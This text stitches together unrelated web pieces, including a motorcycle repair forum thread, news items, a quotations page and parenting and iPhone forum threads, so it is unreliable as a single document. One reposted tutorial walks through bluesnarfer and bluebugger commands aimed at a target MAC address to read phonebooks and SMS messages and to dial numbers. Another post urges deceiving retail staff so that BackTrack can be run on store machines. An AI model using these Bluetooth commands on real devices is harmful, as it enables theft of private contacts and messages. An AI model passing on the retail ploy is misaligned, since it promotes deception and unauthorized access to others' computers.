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Blue smoke at start up
I have a 1997 r1100rs it has 50k miles and on start up it has been billowing out blue smoke and was curious how normal it is or what can be done to repair. I have also noticed that after 200 or so miles i was low on oil, the owner before used synthetic if that helps
I assume you mean that it smokes when first started and then it eventually stops smoking. Some of that is not uncommon, although you need to explain more of the details before we can advise if yours is abnormal.
1. How long (time/miles) have you owned the bike.
2. How do you know it is using oil and how much is it using, including how do you check the oil level.
3. Does it smoke every time you start the bike, or only some times.
4. How have your ridden the bike and how did you park it right before episodes of smoking.
5. How long does it take to stop smoking.
The more info the better.
Mike White
"That's right, you're not from Texas, but Texas wants you anyway." -LL
2001 Z3 3.0i Roadster (Topaz Blue Metallic, 5-speed manual, Sport Package, CD radio, heated seats and mirrors, non-power top via special order)
"Beemer" is for my BMW motorcycles - '13 K1300S, '95 R1100RS, '88 K75S, '75 R90S (gone, but not forgotten).
1. Have had bike for 2 weeks and put around 250 miles on it
2. when i got the bike from previous owner the oil view window was near full and a few days ago it was at the bottom of window on stand and level ground.
3. it only smoke at initial startup and seems to go away after that, i will let warm up for min. 2 or 3 minutes before i ride off
4. generally on back roads riding as i have been getting used to the handling and recently in town going to work (less than 10miles). Im not heavy on the throttle in either riding, park on level ground with kickstand
5. usually goes away with idle.
New information since post would be it is idling rough about every 30 second it dips a bit and the throttle seems really touchy or jumpy making it an uncomfortable ride. especially slow cornering as i increase or decrease speed going into and out of the corner almost like if i where to intentionally try to sputter the front end.
thanks again this is great
2. The correct way to check the engine oil level on an R1100 ("oilhead") is to ride the bike long enough to get the oil up to operating temperature. Then turn the bike off and put it on the sidestand (not the centerstand) for about 10 minutes. This ensures all the oil drains down to the sump and doesn't hang up in the oil cooler. Then put the bike on the centerstand, on a level surface, and read the oil level in the sight glass after a couple of minutes. This method will help ensure that you get consistent level readings. Assuming your sight glass still has the red circle (mine doesn't), the general consensus "correct" oil level is somewhere between the center dot and the top of the red circle (which is about 2-3 mm from the top of the sight glass). The oil should NOT completely fill the sight glass, which indicates the engine is overfilled with oil, and may promote start-up smoking. IIRC the oil amount from the top of the red circle to the bottom of the red circle is about 0.5 quart.
3. No need to let the bike "warm up" for 2 to 3 minutes before you ride off. As soon as the engine starts and runs smoothly (less than 30 seconds), ride away but be easy until the engine oil warms up. That's a better use of the 2 to 3 minutes to warm up the engine.
4. Some smoking at start-up is not uncommon, especially if you park the bike on the sidestand. I believe the suspected cause is a little oil leaking (or being drawn) past the rings on the left cylinder and then having to be burned out of the engine. Try parking the bike on the centerstand and see if this reduces the episodes of smoking. My K75S is very bad, and erratic,about this. Nine times out of ten when parked on the sidestand it will start up without any smoke, but then that 10th time it will smoke like a mosquito fogger for several minutes.
5. If the smoking stops right after start-up, and it does not smoke under acceleration or engine braking, then I don't think you have anything worth trying to repair. With only 50k miles on the engine, it is not worn.
As for the rough idling and touchy throttle, it sounds like to need to check the throttle body synchronization and idle adjustment. This is a common issue with the oilheads. To do correctly, you need to check/replace the spark plugs, check/replace the air filter, adjust the valves, and then do a TB synch and idle adjustment.
Good luck.
Mike White
"That's right, you're not from Texas, but Texas wants you anyway." -LL
2001 Z3 3.0i Roadster (Topaz Blue Metallic, 5-speed manual, Sport Package, CD radio, heated seats and mirrors, non-power top via special order)
"Beemer" is for my BMW motorcycles - '13 K1300S, '95 R1100RS, '88 K75S, '75 R90S (gone, but not forgotten).
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Thank you for that information, I have gone through your checklist and oil was overfilled the smoking is now reduced by half.
I have a haynes and clymers and noticed the spark plugs are a bit oily or rich with fuel also the fuel jets had a bit of build up on them, I just did a dry cloth cleaning. Then I adjusted the idle adjustment and it seemed to help, I noticed the previous owner made a small marks for proper placement, i placed the marks back together and it idles much better.
Thanks once again for your help!
May be worth the time to check valves and sinc out the carbs, both can be accomplished easily with minimal tools, this will get the idle to be smooth and help the motor run better
I'm not sure what you mean by "small marks for proper placement". Most of the idle speed and synching adjustments are made using a vacuum measuring tool of some sort (TwinMax digital or "CarbStix" type manometer). If you are not really sure of the maintenance history of your bike, it may be worth the effort to start from the beginning and reset the baseline.
1. New spark plugs.
2. Have the fuel injectors (I assume this is what you mean by "fuel jets") checked and ultrasonically cleaned. This is not critical (you could also just run Techron or similar cleaner through the fuel system for a couple of tanks), but then you would know that your injectors are working properly.
3. New air filter.
4. Adjust the valves (and check/replace the alternator belt while you are doing it).
5. Adjust the idle speed and synch the throttle bodies. I'm not sure if your bike has the single throttle cable to the left TB with the jumper cable to the right TB (like mine) or has the "Y" type throttle cable to both TB's. The adjustment method differs between the two, but the basic idea is the same. You will need some sort of vacuum measuring device to do this properly.
These bikes run much better if maintained and adjusted properly, and tend to have running issues if not (e.g., surging). Most of the adjustments can be done by a reasonably competent DIY with a minimum of tools. The vacuum measuring device is the only really specialized tool, and you can either borrow one or buy one for about $100.
Mike White
"That's right, you're not from Texas, but Texas wants you anyway." -LL
2001 Z3 3.0i Roadster (Topaz Blue Metallic, 5-speed manual, Sport Package, CD radio, heated seats and mirrors, non-power top via special order)
"Beemer" is for my BMW motorcycles - '13 K1300S, '95 R1100RS, '88 K75S, '75 R90S (gone, but not forgotten).
They tend to do that if placed on side stand.
I always park on the center stand just to avoid the blue smoke... I also thought it worth mentioning that a old fuel filter will cause the surging you described. The first time it happend to me was in a very slow tight turn and I almost dropped the bike, after many weekends of tinkering and looking searching and adjusting a buddy at work suggested fuel filter. It had not been that long since I had changed mine so It didnt even dawn on me to check it... I must have had some crap fuel or something because when I took it off and turned it over black fuel came out! I replaced the filter and only days later my other bike (almost same bike as the first) that I had been riding in lue of my LT started the same studder and strange idling. Same thing with the fuel filter and ever since I have bought my fuel at a different station and no probs since. Its Cheep enough and easy enough to check so I thought I would mention it.
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Im booting off of a USB, so I'll probably just kill off ALSA on boot for now and find the sound file later.
You can use the rootcopy folder to overwrite the startup sound with an empty wav file.
and i believe the sound was located in /usr/share/sound
So i hope you used a rewritable or usb
Thanks everyone for the replies.
Im booting off of a USB, so I'll probably just kill off ALSA on boot for now and find the sound file later.
if /usr/share/sound is the correct folder then go into rootcopy (its BT4 directory)
Then make a folder called usr, inside that make share, inside that make sound, then place an empty sound file in it with the name of the start sound (i believe finishhim.wav)
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Fourteen faculty members, alumni and students from AGTS and Evangel University participated in the annual meeting of the Society for Pentecostal Studies held March 21-23 in Seattle, Wash. The theme for this year's meeting was "Holiness."
Participants included:
Paul Alexander (AGTS alum, '95)
Don Detrick (AGTS alum, '08)
Craig Keener (AGTS alum, '85, '87)
Rosemarie Kowalski (AGTS Ph.D. ICS grad)
Wally Kowalski (AGTS D.Min. adjunct)
Paul Lewis (AGTS Missionary in Residence)
Faith McGhee (AGTS doctoral student)
Dan Morrison (AGTS alum, '10)
Johan Mostert (AGTS professor of community psychology)
Meghan Musy, (Evangel alum)
Doug Olena (Evangel adjunct professor)
Lois Olena (AGTS associate professor of practical theology and Jewish studies)
Charlie Self, AGTS director of the Ph.D. in Bible and Theology Program and associate professor of church history, and Debbie Gill, AGTS professor of biblical studies and exposition, presented at the "Theology of Work and Economics" luncheon hosted by the Kern Family Foundation.
The entire collection of 2013 SPS papers are available for purchase on CD at the SPS website.
The 2014 meeting will be held at Evangel University, Springfield, Mo., March 6-8 with the theme "Hermeneutics and the Spirit:
Identities, Communities, and the Making Meaning."
Individuals interested in Pentecostal/Charismatic renewal studies are welcome to attend these meetings. Membership requirements are outlined here: http://www.sps-usa.org/#/membership.
SPS was founded in 1970 by three scholars, including the late Dr. William Menzies, who, over the course of his career, chaired the biblical studies department at Evangel and the Bible and theology department at AGTS. Menzies served as the first president of SPS and the first editor of its journal, Pneuma.
For additional information about the conference or about the Society for Pentecostal Studies, contact SPS Executive Director Dr. Lois Olena at AGTS by calling 417-268-1084.
See photos of AGTS participants at SPS.
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Tammy Maxon: Achilles Tendon Surgery
Damage to the Achilles tendon, which is the tissue that connects the heel to the muscles of the lower leg, can be extremely painful. Such an injury was especially devastating for 49-year-old Tammy Maxon, because working in the restaurant business requires her to stand for long hours. Thanks to successful surgery by Tudor Tien, MD, Tammy is back on her feet and enjoying her life again.
"I was working out on some exercise equipment at the gym when I felt a 'rip' at the back of my heel," Tammy said. "I had an x-ray taken at my family doctor's office, and it appeared normal. I went back to work but continued to have pain because I had partially torn my Achilles tendon. I had non-surgical treatment on my heel for about 18 months, but it really didn't help." After having an MRI, Tammy was diagnosed with a high-grade Achilles tendonosis, caused by the tendon tear and a form of bursistis.
In March of the following year, Tammy slipped and fell at school and reinjured her left ankle. This time, She consulted with Dr. Tien, an orthopaedic surgeon specializing in foot and ankle repair. Dr. Tien ordered a new MRI scan, which showed a large rupture of Achilles tendon. tissue.
"He showed me my MRI and explained that a build-up of scar tissue from my first injury had actually made it possible for me to walk when I shouldn't have been walking," Tammy said. "He was wonderful in explaining exactly what he planned to do for me in surgery. His confidence gave me confidence, too."
In an outpatient setting, Dr. Tien performed a complex surgery to cut away damaged tissue and scar tissue. Because of the extent of damage, a tendon was taken from Tammy's big toe and attached to her heel bone and the remaining potion of her Achilles tendon.
"The special thing about this case is that it was a chronic tear, and the tendon transfer she had is a standard but relatively rare procedure," said Dr. Tien. "We are very pleased with how well she is doing."
Tammy's experience at Henry Ford Allegiance Health was "completely positive," she said. "Everyone I had contact with was great, and they all explained what they were going to do and why."
Following surgery, Tammy progressed through a six-week recovery period, first using a wheelchair, then a crutches and a scooter. "It wasn't fun, but it was all worth it," she said. "I had been in pain for so long that I had forgotten what it was like to walk pain-free. It's wonderful. I am very grateful to Dr. Tien and Henry Ford Allegiance Health," she said.


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Here's part 2 of his post.
Originally Posted by Dr_GrEeN
Part 2
Ok lets get to it ...... Start a shell and lets take a look at bluesnarfer's options so type:
bt ~ # bluesnarfer
And you should get :
Ok so now we have some options lets begin type:Code:bluesnarfer, version 0.1 - usage: bluesnarfer [options] [ATCMD] -b bt_addr ATCMD : valid AT+CMD (GSM EXTENSION) TYPE : valid phonebook type .. example : "DC" (dialed call list) "SM" (SIM phonebook) "RC" (recevied call list) "XX" much more -b bdaddr : bluetooth device address -C chan : bluetooth rfcomm channel -c ATCMD : custom action -r N-M : read phonebook entry N to M -w N-M : delete phonebook entry N to M -f name : search "name" in phonebook address -s TYPE : select phonebook memory storage -l : list aviable phonebook memory storage -i : device info
bluesnarfer [options] -C 7 -b <taget MAC>
for eg: bluesnarfer -r 1-100 -C 7 -b 00:11:22:33:44:55
And the hack should start ........
Now bluebugger Type:
Bluebugger -h
And you should get :
Again now we have are options lets hack .............. Type:Code:bluebugger 0.1 (cant post urls :D) ----------------------------------------- Usage: bluebugger [OPTIONS] -a <addr> [MODE] -a <addr> = Bluetooth address of target Options: -------- -m <name> = Name to use when connecting (default: '') -d <device> = Device to use (default: '/dev/rfcomm') -c <channel> = Channelto use (default: 17) -n = No device name lookup -t <timeout> = Timeout in seconds for name lookup (default: 5) -o <file> = Write output to <file> Mode: ----- info = Read Phone Info (default) phonebook = Read Phonebook (default) messages = Read SMS Messages (default) dial <num> = Dial number ATCMD = Custom Command (e.g. '+GMI') Note: Modes can be combined, e.g. 'info phonebook +GMI'
bluebugger [OPTIONS] -c 7 -a <target MAC> [MODE]
for eg: bluebugger -m Dr_GrEeN -c 7 -a 00:11:22:33:44:55 dial 0845GAYPORN
And again you should see some results.
The only downside to hacking into my D600 is that you still have to allow it on the phone so its not exactly HACKING the D600 but its a good training session. And now you can go forth and play.
Hope you lot can understand my bad spelling ETC and have fun
PS : Can sombody swap these posts around? Sorry my fault and oh yea RFCOMM Connection refused error is normally wrong channel. If after using bluebugger you get operation already in progress error type:
hciconfig hci0 down
hciconfig hci0 reset
hciconfig hci0 up
And all should be well.


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Leap-Frogging in Top Five of Latest BCS Standings
Sunday, November 8, 2009
With four teams in the top 11 losing, this week's BCS Standings saw some interesting developments. Florida remained No. 1 after a solid win over Vanderbilt, but Alabama's win over No. 9 LSU helped the Crimson Tide jump Texas to the No. 2 slot - despite the fact that the Longhorns rolled over UCF. At No. 4 TCU replaces Iowa, which suffered its first loss of the season. The Horned Frogs dominated San Diego State, earning enough respect to jump Cincinnati, which defeated Connecticut, but only by two points in a shootout. The Bearcats remain at No. 5. The top teams in the final BCS Standings, to be released on Sunday, Dec. 6, will meet in the BCS National Championship game to be played on Jan. 7 in Pasadena, Calif.


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While Seattle's Supersuckers love to have fun, frontman Eddie Spaghetti plays it mostly serious on his first solo album. There are a couple of humorous songs on this album of mostly covers, but the bulk of it is Eddie digging into a variety of country tunes with unabashed love and respect for the music. The sound's stripped-down and raw, with Eddie's weathered, slightly grainy voice being an effective vehicle for interpreting these barroom ballads and outlaw tales. 1/8/2004 - Don Yates
Other Eddie Spaghetti album reviews:
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By Jerry Cornfield Herald Writer
OLYMPIA — A plan to raise nearly $10 billion for transportation is shrinking as key pieces are discarded in the face of political opposition, its chief architect said Monday.
Rep. Judy Clibborn, D-Mercer Island, said she's trimmed the revenue package by roughly a third, tossing out a detested motor vehicle excise tax, fee on sales of expensive bikes and hike in the hazardous substance tax.
A 10-cent gas tax increase continues to be the centerpiece of her plan though she changed when the money will be collected in hopes of securing votes in the House and Senate.
Originally, she sought annual two-cent increases for five years. Now, she said she is looking to impose the full increase over four years beginning with a hike of a nickel in the first year and the rest phased in after that.
"If you get most of it up front, you get it working faster," said Clibborn, head of the House Transportation Committee. "With the volatility of gas prices I'm not sure if (drivers) would notice. This is money that will come in sooner and they will be able to see it put to use faster."
Clibborn cautioned Monday, as she did when she unveiled the package in February, the content may change further before she trots out a document for public consumption next week.
"I'll have this finalized so people know what we can buy with this amount," she said.
Democratic leaders in the House and Senate and Gov. Jay Inslee are pushing for approval of a transportation funding package this session rather than going to voters in November.
They say the importance of doing so will become clearer this week when the Senate and House issue their respective transportation budgets. Neither budget is expected to include money for major new projects because there is no revenue to pay for them; income from gas tax hikes enacted in 2003 and 2005 are paying off the bonds for hundreds of completed projects.
On Feb. 20, House Democrats rolled out their Connecting Washington plan to generate nearly $9.8 billion for transportation over 10 years. Of the total, about $6 billion would be in new revenue with most of the remainder coming from the sale of bonds.
Clibborn said her revamped proposal would raise about $7.5 billion over 12 years of which $4.5 billion would be in new money and the rest tied to bonds.
Bumping up the gas tax by a dime would bring in a projected $2.53 billion, according to estimates in the original plan. It also would push Washington's gas tax, already among the highest in the country, to 47.5 cents per gallon.
Gone is an annual car tab fee she set at 0.7 percent of a vehicle's value which would have brought in $2 billion.
"That is a very unpopular idea. I just couldn't get it through the Senate," she said.
Clibborn also axed a 0.3 percent hike in the hazardous substance tax which could have netted nearly $900 million and a $25 fee on each sale of a bicycle valued at $500 or more. That could have brought in $1 million over a decade.
"It hurt the little retailer," she explained. "It raised almost no money. It was going to be a hassle for the small businesses and I'm not interest in making it harder for small businesses."
She left in place new county auditor fees, hikes in weight fees for commercial vehicles and added options for local transportation and transit boards to raise money.
She's added an increase in the weight fee of passenger vehicles to raise an estimated $729 million. It will make it more costly to register a vehicle each year; however, she said it won't be as much as it would have been with an excise tax.
With all the puts and takes, Clibborn said Monday she's received words of support from Inslee, House Speaker Frank Chopp, D-Seattle, and Sen. Tracey Eide, D-Federal Way, who is a co-chair of the Senate Transportation Committee.
David Postman, Inslee's spokesman, said the governor is open to the changes if it will help get the package through. "He really wants a plan," Postman said.
Rep. Marko Liias, D-Edmonds, a member of the House transportation panel, said his support will be tied to where the money is spent. "If it doesn't solve the problems in our area, then it's not the right package," he said.
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more exercise for my son
My six year old son is not getting enough exercise. He's always in front of the computer or the TV. How do I encourage him to play? He's very shy and doesn't enjoy meeting people.
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Hi Maria,
There are lots of ways to encourage your son to move around more.
I would encourage you to make other options available to him like playing in the back yard, taking a walk with you, or going to the park. He doesn't have to play with other children when taking a walk or going to the park. You can walk around the park with him. You can go on a bike ride with him.
Once you have options for him, then you'll just take the TV and computer games away and ask him to go outside and play, or to read a book, or to do something to entertain himself, rather than being entertained.
What kind of exercise would you like him to choose instead of TV and computer games? I'll try to give more ideas on how to motivate your son once I know what his exercise/movement options are.
Warm Regards,
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Hi Kate! Thank you for the wonderful ideas. This is why I enjoy the forum. Have a nice day!
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You can even play with him the games he plays or as cartoon character he loves to watch it will help him to get involved on physical activities.
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25th September 2013 05:51 AM #5
Great tip ElizaSeyler! This one has worked well with my eldest son.


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'"I'm hoping and expecting to see him here," said Patrick, who would take over if Ruff is unable to attend. "We're going to prepare the team like normal. It's going to be the same routine. … We're going to do everything we can to get ready to win a game. That's our focus."'
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COLUMBUS, Ohio (AP) -- A condemned Ohio killer trying to delay his execution because of his extreme weight is appealing the ruling of a judge who denied his claim.
Death row inmate Ronald Post weighs more than 400 pounds and is asking the courts to stop his January execution on the grounds his weight could cause him to suffer severe pain during the procedure.
Post asked a federal appeals court in Cincinnati on Monday to overrule a judge's ruling last month.
Cleveland federal Judge Lesley Wells said Post is prohibited from challenging his execution by injection because he raised similar claims in his first set of federal appeals in 1997. Wells says Post hasn't shown that either his medical condition or Ohio's lethal injection procedures has changed radically since then.


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Siena president resigns
Photo courtesy Siena College
Siena College announcing its president, Father Kevin Mullen is resigning so he can serve as provincial minister of Holy Name Province.
In a statement Father Mullen says being elected provincial minister is a tremendous honor but the moment is bittersweet because it means he has to leave Siena College.
Here is the full statement from Siena College:
Siena President Fr. Kevin Mullen '75, O.F.M., Ph.D. Elected to Lead Holy Name Province, Will Resign as Siena President
In a vote conducted today by the friars of Holy Name Province during their triennial provincial chapter, Siena College President Fr. Kevin Mullen '75, O.F.M., Ph.D. was elected to a six-year term as provincial minister. Mullen will resign as Siena College president to serve in this prestigious position of leadership within the largest Franciscan community in the United States.
As provincial minister, Mullen will oversee the long-range planning and day-to-day operations of Holy Name Province and its nearly 300 friars who serve in communities on the east coast from Maine to Florida and abroad in Asia and South America. He will also represent Holy Name Province to the wider Franciscan Order and to the hierarchy of the Roman Catholic Church. Mullen will work from the Province's headquarters in New York City. As the provincial minister of Holy Name Province, Mullen will become a member of the Siena College board of trustees.
"Being elected provincial minister by my brothers in the Franciscan Order is a tremendous honor. I look forward to serving them well as I lead Holy Name Province the best way I know how – with compassion and through collaboration – as we continue to serve communities and individuals in need of God's healing grace," said Fr. Kevin Mullen '75, O.F.M., Ph.D. "Nevertheless, this moment is bittersweet. My new opportunity means that I have to leave Siena College, a place that I love. I have enjoyed serving as Siena's president and I am proud of the successes that this community has shared, including the development of a new strategic plan, the expansion and improvement of campus facilities and academic offerings and the launch of a comprehensive campaign that will ensure that Siena College provides the education of a lifetime for years to come."
Mullen is Siena College's tenth president. He was chosen by the College's board of trustees in 2007. Mullen holds a bachelor's degree in history from Siena, a master's of divinity from the Washington Theological Union and a doctorate in moral theology from the Catholic University of America.


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Wall Street Journal editor: Bush opponents "slightly psycho"
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In a June 4 column, Wall Street Journal editorial page deputy editor Daniel Henninger wrote that political opponents of President George W. Bush are "participants in the political paranormal [who] share a slightly psycho desire to remove George Bush from the presidency."
Henninger referred to former Vice President Al Gore's "semi-hinged political style" and compared him to infamous red-baiting Senator Joseph McCarthy.
Henninger also compared German-born filmmaker Roland Emmerich -- the director/writer/producer of The Day After Tomorrow, a new Hollywood film depicting a nightmare scenario in which global warming causes severe and sudden weather to ravage North America -- to infamous Nazi-propaganda filmmaker Leni Riefenstahl.
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Malcolm wrote:. . . the sgra thal 'gyur tantra is the root of all Dharma. It is the first Dharma ever taught to sentient beings. Every other Dharma comes from it.
Where can I find out more on the history of the 17 Dzogchen Tantras? Where is it said that the sgra thal gyur was the first dharma taught to sentient beings?


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Ghosts, in traditional beliefs, are the souls or spirits of deceased persons or animals which can appear in visible forms or other manifestation, to the living. Descriptions of the apparition of ghosts vary widely: The mode of manifestation can range from an invisible presence to translucent or wispy shapes, to realistic, life-like visions. The deliberate attempt to contact the spirit of a deceased person is known as necromancy, in spiritism as a séance as the intercession of saints in Catholithism, and mediumship in religions such as Voodou or Tibetan Buddhism. The belief in manifestations of the spirits of the dead is widespread, dating back to animism or ancestor worship in pre-literate cultures. Certain religious practices—funeral rites, exorcisms, and some practices of spiritualism and ritual magic—are specifically designed to appease the spirits of the dead. Ghosts are generally described as solitary essences that haunt particular locations, objects, or people they were associated with in life, though stories of the phantom armies, ghost trains, phantom ships, and even ghost animals have also been recounted.
- Ghost redirects here; for the 1990 film, see Ghost (1990 film)
- Poltergeist redirects here; for the 1982 film, see Poltergeist (1982 film)
- Great Pompey's shade complains that we are slow,
And Scipio's ghost walks unavenged amongst us!
- Joseph Addison, Cato, A Tragedy (1713), Act II, scene 1
- Sole survivor, cursed with second sight
Haunted saviour, cried into the night.
- Blue Oyster Cult, Sole Survivor, Fire of Unknown Origin, lyrics by Erik Bloom, John Trivers, and Liz Myers
- Where entity and quiddity,
The ghosts of defunct bodies, fly.
- Samuel Butler, Hudibras, Part I (1663-64), Canto I, line 145
- Behind every man now alive stand 30 ghosts, for that is the ratio by which the dead outnumber the living.
- Arthur C. Clarke 2001: A Space Odyssey (1968) "Foreword"
- When thoroughly reliable people encounter ghosts, their stories are difficult to explain away.
- C.B. Colby in Strangely Enough, p. 177 (1963)
- Spider-Man: [Walking away from Harry and Norman Osborn's graves] Believe it or not some monsters stay dead and buried forever--and their ghosts can't haunt you unless you allow them! I hope.
- Tom De Falco Spider-Man Unlimited #2 Maximum Carnage Chapter XIV: The hatred, the horror & the hero!
- Of calling shapes, and beck'ning shadows dire,
And airy tongues that syllable men's names.
- John Milton, Comus (1637), line 207
- For spirits when they please
Can either sex assume, or both.
- John Milton, Paradise Lost (1667; 1674), Book I, line 423
- Whence and what are thou, execrable shape?
- John Milton, Paradise Lost (1667; 1674), Book II, line 681
- All heart they live, all head, all eye, all ear,
All intellect, all sense, and as they please
They limb themselves, and colour, shape, or size
Assume, as likes them best, condense or rare.
- John Milton, Paradise Lost (1667; 1674), Book VI, line 350
- The graves stood tenantless, and the sheeted dead
Did squeak and gibber in the Roman streets.
- William Shakespeare, Hamlet (1600-02), Act I, scene 1, line 115
- There needs no ghost, my lord, come from the grave.
To tell us this.
- William Shakespeare, Hamlet (1600-02), Act I, scene 5, line 126
- I can call spirits from the vasty deep.
Why, so can I, or so can any man;
But will they come when you do call for them?
- William Shakespeare, Henry IV, Part I (c. 1597), Act III, scene 1, line 52
- What are these,
So wither'd, and so wild in their attire;
That look not like the inhabitants o' th' earth,
And yet are on 't?
- William Shakespeare, Macbeth (1605), Act I, scene 3, line 39
- Is this a dagger which I see before me,
The handle toward my hand?
- William Shakespeare, Macbeth (1605), Act II, scene 1, line 33
- A dagger of the mind, a false creation,
Proceeding from the heat-oppressed brain?
- William Shakespeare, Macbeth (1605), Act II, scene 1, line 38
- Now it is the time of night,
That the graves, all gaping wide,
Every one lets forth his sprite,
In the church-way paths to glide.
- William Shakespeare, A Midsummer Night's Dream (c. 1595-96), Act V, scene 1, line 386
- All on my own
Here I stand.
Am I humble, am I ghost?
I'm on a limb to climb
To something lawless I hope
Am I humble, am I ghost?
I found a way
To look towards this day
But it all hooked up
This could only go one way
I'm not alive, I'm not alive enough.
- Here's to the ghost
We still seem to host
How he's becoming us
Here come the vultures
Here come the vultures
Screaming down at us
- Charlotte Wessels, Here Come the Vultures, The Human Contradiction (2014)
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- Quotes reported in Hoyt's New Cyclopedia Of Practical Quotations (1922), p. 33-34.
- Who gather round, and wonder at the tale
Of horrid apparition, tall and ghastly,
That walks at dead of night, or takes his stand
O'er some new-open'd grave; and, (strange to tell!)
Evanishes at crowing of the cock.
- Robert Blair, The Grave, line 67
- The Nightmare Life-in-Death was she.
- Samuel Taylor Coleridge, The Ancient Mariner, Part III
- The unexpected disappearance of Mr. Canning from the scene, followed by the transient and embarrassed phantom of Lord Goderich. (Quoted, "He flits across the stage a transient and embarrassed phantom.")
- Benjamin Disraeli, Endymian, Chapter III
- Thin, airy shoals of visionary ghosts.
- Homer, Odyssey, Book XI, line 48. Pope's translation
- So many ghosts, and forms of fright,
Have started from their graves to-night,
They have driven sleep from mine eyes away;
I will go down to the chapel and pray.
- Henry Wadsworth Longfellow, The Golden Legend (1872), Part IV
- What beck'ning ghost along the moonlight shade
Invites my steps, and points to yonder glade?
- Alexander Pope, Elegy to the Memory of an Unfortunate Lady, line 1
- My people too were scared with eerie sounds,
A footstep, a low throbbing in the walls,
A noise of falling weights that never fell,
Weird whispers, bells that rang without a hand,
Door-handles turn'd when none was at the door,
And bolted doors that open'd of themselves;
And one betwixt the dark and light had seen
Her, bending by the cradle of her babe.
- Alfred Tennyson, The Ring
- I look for ghosts; but none will force
Their way to me; 'tis falsely said
Between the living and the dead.
- William Wordsworth, Affliction of Margaret


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Without you giving any good info all I can say is
Go to a retailer with a BT2 cd in hand and ask them if you can try it, there are many that will hoping to get a sale from it. Make sure that you tell them it is a linux live cd and makes no changes to the system. Never tell them what the distro is.
Telling them it's linux is enough for them to tell themselves that they know nothing about it and know that they cannot answer you questions and will let you do it.
then post the results back here and the wiki
This is a good exercise in social engineering and good practice too.


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Jenn was crushing on a sleek gray zebra print rug and of course, trying to work around a big brown couch:
both $14.50 each from the Etsy store The Lacey Placey
I've seen so many amazing DIY upholstered coffee tables, but this one is also gorgeous and under $150.00. Fun accessoires like the yellow lacquer tray and vase give some color to the room and also some function so Jenn's hubby has a place to put all his legos and remote controls. 🙂
I thought Jenn's hubs would like these vintage photographs of military planes given his career, and the subtle geometric curtains add more depth to the room. Brighter colored curtains would work great as well.
I can't wait to see what she comes up with!


text: The CTU Career Services team offers five tips for students seeking internships August 26, 2011 General Internships - those on-the-job experiences that help workers get practical experience - aren't just for traditional college students any more. Non-traditional students, who are often working adults either switching careers or going back to college to pursue a new passion and learn new skills, are taking advantage of internships to differentiate themselves from the competition in this challenging job market. Organizations are also reporting the number of internships offered is expected to rise by nearly 7 percent in 2011, according to a National Association of Colleges and Employers survey. "The growing number of experiential learning opportunities like an internship or volunteering are great ways for non-traditional students who are making a career change to get their foot in the door and apply what they've learned in the classroom in a real-world setting," says Stacia Klasen, experiential learning manager at Colorado Technical University. "In this tough market, employers often seek candidates with internship or on-the job experience, so these can be a resume-builder and competitive advantage." Here are five tips for non-traditional students (those who don't fit the typical definition of young adults ages 18 to 22 who live on campus and go to school full time) to consider for pursuing and making the most of any internship, according to Klasen. 1. Consider your options. Many internships last three to six months. However, non-traditional students are often juggling personal and professional responsibilities with their coursework, making it especially challenging to add an internship to their busy schedules. The good news is there are flexible and shorter-term experiential learning options that can also help students build their skills and add to their resume. In addition to internships, non-traditional students can seek volunteer or job shadowing experiences in their fields. Landing a volunteer opportunity, for example, may involve identifying an organization and then finding the right person to present a proposal for what you're seeking and how you can contribute your skills to benefit the organization - without much oversight or time commitment on their part. 2. Tap into your university's career center. Non-traditional students can utilize the professional staff and resources available at their colleges to help find the right experiential learning opportunity that aligns with their degree program. Key services may include career counseling, resume and interview workshops, connections with local employers, and access to a database of job openings. At Colorado Technical University, for example, the career services team provides one-on-one coaching for students to help them prepare for and identify internships with the flexibility to fit their lifestyles. 3. Do your research. Conduct an online search, including visiting sites like www.Monster.com and www.idealist.org, a national repository of internships and volunteer opportunities. Some sites let users set up email alerts for internships that match their interests. Internship-seekers can also surf the Web to find local companies that might be a good fit and determine if those organizations post internships on their websites or use social media tools like Facebook and LinkedIn to share openings. 4. Differentiate yourself. While businesses may recognize that non-traditional student interns can bring more experience and maturity than their younger counterparts, others may also feel like they're overqualified. This means non-traditional learners need to neutralize any concerns and find ways to "sell" their skills and differentiate themselves. This means they need to clearly reiterate their desire to enter a new field, why they're seeking this change, and show how their skills and experience would be a great match for the specific position. 5. Network. In addition to online searches, there's no replacement for talking with people who can offer guidance and connections to experiential learning opportunities that fit your career goals. Career fairs, alumni and the local Chamber of Commerce are good connections. Inquire about the organization for which you may want to work, ask those in your chosen field about how you might prepare for a position, and make it known that you're seeking an internship or opportunity to get on-the-job experience. It's also important for non-traditional students to ensure they establish a personal network of family and friends to offer support while they balance internship responsibilities with their schoolwork. "Once you land an internship, you need to network within the organization to make the most of the opportunity," Klasen says. "Ask for feedback, volunteer to take on different projects, and demonstrate high performance because you never know who may be watching."


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Super smart and sweet 3 year old female cockatoo. She is very social I have taken her to schools,birthday parties,ect. I have had a few personal issues…$2,000
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Great news! Now, all we have to do is:
-Google 'iPhone sale'
-Find a legitimate business that discounts the iPhone to $149
-Print out proof of the discount
-Find an Apple Store 'somewhere' nearby
-Wait in line for 30min at said Apple Store to meet w/ an Apple employee
-Apple employee has to verify your proof of a discounted iPhone is valid
-Manager gets called to approve the discount
-Buy iPhone
-Wait for a Mac to open up so the employee can activate the iPhone
-And then you're all done!!!
-Walk into Best Buy
-Grab the first employee you see
-Ask for the discounted iPhone
-Activate iPhone immediately
-Walk out of Best Buy ؟
I really see no point in your post..
Except you can also get your phone set up at Apple, if you aren't a techie like the people that visit this site...and umm...have you been here in the last year? iPhones have activated themselves since iOS 5...nice try there. I realize it's partly sarcasm, but come on. Not to mention you can't just 'find the first employee you see', because they have their own mobile section.
There actually is a symbol for sarcasm called the Irony Mark! It was created in the 1900s to suggest irony/sarcasm but most people don't know that and it's kind of a pain to insert on the iPhone.
You can find the Irony Mark in the Arabic Keyboard (for some weird reason؟ ) and it looks like this (minus the parenthesis): ( ؟ )
BTW, I thought this was hilarious, "Dafuh? Youve got problems bro..." Nice one!!!
I found the first comment hilarious..a bit touchy in here today i see. Apple has made it pretty easy to setup your own phone. I know some are a bit tech illiterate and there is a learning curve of course. Also, if you need to move contacts, calendar items and such its probably a good idea to have someone with experience do it and show you how its done. Other than that you're good. Most basic smart phone to use in my opinion. As for the deals, they'll get better as the new phone approaches :]


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RANCHO CUCAMONGA - Residents in the city's largest landscape-maintenance district will be able to cast a ballot to decide whether to raise their rates for service.
City staffers recommended the ballot measure after survey results showed a majority of residents in the district supported a rate increase.
Assessment rates have not changed in 20 years.
Voters rejected a hike in 2011, and some have expressed unhappiness over the city's rejection of those results.
